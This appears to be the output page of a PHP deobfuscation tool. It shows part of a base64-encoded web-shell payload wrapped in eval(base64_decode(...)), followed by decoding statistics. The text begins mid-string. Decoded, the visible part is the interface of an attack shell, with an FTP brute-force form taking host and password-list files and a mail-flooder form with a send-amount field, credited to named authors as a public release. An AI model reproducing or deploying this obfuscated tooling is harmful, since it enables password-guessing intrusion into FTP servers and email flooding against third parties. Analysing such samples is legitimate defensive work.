o8L3RkPjwvdHI+DQo8dGQgaGVpZ2h0PTU+PHRkPjwvdHI+DQo8dHI+PHRkIHdpZHRoPTI1JSBhbGlnbj1yaWdodD4NCjxmb250IGNvbG9yPSM4ODg4ODggc2l6ZT0yPkNoZWNrPHN1cD4qPC9zdXA+OjwvZm9udD4NCjwvdGQ+PHRkIHdpZHRoPTY1JSBhbGlnbj1yaWdodD4NCjxpbnB1dCB0eXBlPXRleHQgbmFtZT0nY2hlY2snIGNsYXNzPSd0YScgc2l6ZT0yNz4NCjwvdGQ+PC90cj4NCjx0ZCBoZWlnaHQ9NT48dGQ+PC90cj4NCjx0cj48dGQgd2lkdGg9MjUlIGFsaWduPXJpZ2h0Pg0KPC90ZD48dGQgd2lkdGg9NjUlIGFsaWduPXJpZ2h0Pg0KPGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdidCcgdmFsdWU9IlN0YXJ0Ij4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSd0eXBlJyB2YWx1ZT0xMD4NCjwvdGQ+PC90cj4NCjwvdGFibGU+PC9mb3JtPg0KPGZvcm0gYWN0aW9uIG1ldGhvZD1QT1NUPg0KPHRkIHZhbGlnbj10b3AgYWxpZ249bGVmdCBjbGFzcz0ndGQyJyB3aWR0aD0zMyU+DQo8dGFibGUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIHdpZHRoPTEwMCU+DQo8dHI+PHRkIGNvbHNwYW49MyBoZWlnaHQ9MzAgdmFsaWduPXRvcD48Yj4uOjpGVFAtQnJ1dGU6Oi48L2I+PC90ZD48L3RyPg0KPHRyPjx0ZCB3aWR0aD0zMSUgYWxpZ249cmlnaHQ+DQo8Zm9udCBjb2xvcj0jODg4ODg4IHNpemU9Mj48Yj5Ib3N0OjwvYj48L2ZvbnQ+DQo8L3RkPjx0ZCBhbGlnbj1yaWdodD4NCjxpbnB1dCB0eXBlPXRleHQgbmFtZT0naG9zdCcgY2xhc3M9J3RhJyBzaXplPTI4Pg0KPC90ZD48dGQgd2lkdGg9NSU+PC90ZD48L3RyPjx0cj48dGQgaGVpZ2h0PTM1IHdpZHRoPTEwMCUgY29sc3Bhbj0yPjwvdGQ+PC90cj4NCjx0cj48dGQgYWxpZ249cmlnaHQ+DQo8Zm9udCBjb2xvcj0jODg4ODg4IHNpemU9Mj5mdHBfdXNlcnMgZmlsZTo8L2ZvbnQ+DQo8L3RkPjx0ZCBhbGlnbj1yaWdodD4NCjxpbnB1dCB0eXBlPXRleHQgbmFtZT0ndXNlcnMnIGNsYXNzPSd0YScgc2l6ZT0xNyB2YWx1ZT0iZnRwX3VzZXJzLnR4dCI+DQo8L3RkPjx0ZD48L3RkPjwvdHI+DQo8dHI+PHRkIGhlaWdodD01IHdpZHRoPTEwMCUgY29sc3Bhbj0yPjwvdGQ+PC90cj4NCjx0cj48dGQgYWxpZ249cmlnaHQ+DQo8Zm9udCBjb2xvcj0jODg4ODg4IHNpemU9Mj5mdHBfcGFzc3dkIGZpbGU6PC9mb250Pg0KPC90ZD48dGQgYWxpZ249cmlnaHQ+DQo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9J3Bhc3N3ZCcgY2xhc3M9J3RhJyBzaXplPTE3IHZhbHVlPSJmdHBfcGFzc3dkcy50eHQiPg0KPC90ZD48dGQ+PC90ZD48L3RyPg0KPHRyPjx0ZCBoZWlnaHQ9NSB3aWR0aD0xMDAlIGNvbHNwYW49Mj48L3RkPjwvdHI+DQo8dHI+PHRkIGFsaWduPXJpZ2h0Pg0KPGZvbnQgY29sb3I9Izg4ODg4OCBzaXplPTI+ZnRwX2xvZyBmaWxlOjwvZm9udD4NCjwvdGQ+PHRkIGFsaWduPXJpZ2h0Pg0KPGlucHV0IHR5cGU9dGV4dCBuYW1lPSdsb2cnIGNsYXNzPSd0YScgc2l6ZT0xNyB2YWx1ZT0iZnRwX2xvZy50eHQiPg0KPC90ZD48dGQ+PC90ZD48L3RyPg0KPHRyPjx0ZCBjb2xzcGFuPTIgaGVpZ2h0PTIwPjwvdGQ+PC90cj4NCjx0cj48dGQgY29sc3Bhbj0yIGFsaWduPXJpZ2h0Pg0KPGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdidCcgdmFsdWU9IlN0YXJ0IEJydXRlIj4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJ0eXBlIiB2YWx1ZT05Pg0KPC90ZD48L3RyPg0KPC90ZD48L3RhYmxlPjwvZm9ybT4NCjxmb3JtIGFjdGlvbiBtZXRob2Q9UE9TVD4NCjx0ZCB2YWxpZ249dG9wIGFsaWduPWxlZnQgY2xhc3M9J3RkMicgd2lkdGg9MzMlPg0KPHRhYmxlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPg0KPHRyPjx0ZCB2YWxpZ249dG9wIGNvbHNwYW49MyBoZWlnaHQ9MzA+DQo8Yj4uOjpGbG9vZGVyOjouPC9iPg0KPHRyPjx0ZCB3aWR0aD0yNSUgYWxpZ249cmlnaHQ+DQo8Zm9udCBjb2xvcj0jODg4ODg4IHNpemU9Mj48Yj5sb2dfZmlsZTo8L2I+PC9mb250Pg0KPC90ZD48dGQgd2lkdGg9NjUlIGFsaWduPXJpZ2h0Pg0KPGlucHV0IHR5cGU9dGV4dCBuYW1lPSdsb2cnIGNsYXNzPSd0YScgc2l6ZT0xNyB2YWx1ZT0ibWZsb29kX2xvZy50eHQiPg0KPC90ZD48L3RyPg0KPHRkIGhlaWdodD01Pjx0ZD48L3RyPg0KPHRyPjx0ZCB3aWR0aD0yNSUgYWxpZ249cmlnaHQ+DQo8Zm9udCBjb2xvcj0jODg4ODg4IHNpemU9Mj5TZW5kIHRvOjwvZm9udD4NCjwvdGQ+PHRkIHdpZHRoPTY1JSBhbGlnbj1yaWdodD4NCjxpbnB1dCB0eXBlPXRleHQgbmFtZT0ndG8nIGNsYXNzPSd0YScgc2l6ZT0yNz4NCjwvdGQ+PC90cj48dHI+DQo8dGQgaGVpZ2h0PTU+PHRkPjwvdHI+DQo8dHI+PHRkIHdpZHRoPTI1JSBhbGlnbj1yaWdodD4NCjxmb250IGNvbG9yPSM4ODg4ODggc2l6ZT0yPkZyb206PC9mb250Pg0KPC90ZD48dGQgd2lkdGg9NjUlIGFsaWduPXJpZ2h0Pg0KPGlucHV0IHR5cGU9dGV4dCBuYW1lPSdmcm9tJyBjbGFzcz0ndGEnIHNpemU9Mjc+DQo8L3RkPjwvdHI+DQo8dGQgaGVpZ2h0PTU+PHRkPjwvdHI+DQo8dHI+PHRkIHdpZHRoPTI1JSBhbGlnbj1yaWdodD4NCjxmb250IGNvbG9yPSM4ODg4ODggc2l6ZT0yPlN1YmplY3Q6PC9mb250Pg0KPC90ZD48dGQgd2lkdGg9NjUlIGFsaWduPXJpZ2h0Pg0KPGlucHV0IHR5cGU9dGV4dCBuYW1lPSdzdWJqZWN0JyBjbGFzcz0ndGEnIHNpemU9Mjc+DQo8L3RkPjwvdHI+DQo8dGQgaGVpZ2h0PTU+PHRkPjwvdHI+DQo8dHI+PHRkIHdpZHRoPTI1JSBhbGlnbj1yaWdodD4NCjxmb250IGNvbG9yPSM4ODg4ODggc2l6ZT0yPk1lc3NhZ2U6PC9mb250Pg0KPC90ZD48dGQgd2lkdGg9NjUlIGFsaWduPXJpZ2h0Pg0KPHRleHRhcmVhIG5hbWU9J21zZycgY2xhc3M9J3RhJyBjb2xzPTIwIHJvd3M9ND48L3RleHRhcmVhPg0KPC90ZD48L3RyPg0KPHRkIGhlaWdodD0yNT48dGQ+PC90cj4NCjx0cj48dGQgd2lkdGg9MjUlIGFsaWduPXJpZ2h0Pg0KPGZvbnQgY29sb3I9Izg4ODg4OCBzaXplPTI+QW1vdW50OjwvZm9udD4NCjwvdGQ+PHRkIHdpZHRoPTY1JSBhbGlnbj1yaWdodD4NCjxpbnB1dCB0eXBlPXRleHQgbmFtZT0nYW1vdW50JyBjbGFzcz0ndGEnIHNpemU9MTc+DQo8L3RkPjwvdHI+DQo8dGQgaGVpZ2h0PTU+PHRkPjwvdHI+DQo8dHI+PHRkIHdpZHRoPTI1JSBhbGlnbj1yaWdodD4NCjxmb250IGNvbG9yPSM4ODg4ODggc2l6ZT0yPkNoZWNrPHN1cD4qPC9zdXA+OjwvZm9udD4NCjwvdGQ+PHRkIHdpZHRoPTY1JSBhbGlnbj1yaWdodD4NCjxpbnB1dCB0eXBlPXRleHQgbmFtZT0nY2hlY2snIGNsYXNzPSd0YScgc2l6ZT0yNz4NCjwvdGQ+PC90cj4NCjx0ZCBoZWlnaHQ9NT48dGQ+PC90cj4NCjx0cj48dGQgd2lkdGg9MjUlIGFsaWduPXJpZ2h0Pg0KPC90ZD48dGQgd2lkdGg9NjUlIGFsaWduPXJpZ2h0Pg0KPGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdidCcgdmFsdWU9IkZsb29kIj4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSd0eXBlJyB2YWx1ZT0xMD4NCjwvdGQ+PC90cj4NCjwvdGFibGU+PC9mb3JtPg0KPC90ZD48L3RyPg0KPC90YWJsZT4NCjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPjwvY2VudGVyPg0KPGNlbnRlcj48Zm9udCBzaXplPTEgY29sb3I9IzQ0NDQ0ND4uOltQdWJsaWMgdjEuMF06LjwvZm9udD48L2NlbnRlcj4NCjwvYm9keT4NCjwvaHRtbD4NCgkNCjwhLS0gQ29kZWQgYnkgTG9GRmkgJiBMczAxciAvLy0tPg0K')); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 e92f3f6ffa7cfaf59545354f5c238fc4
Eval Count 1
Decode Time 175 ms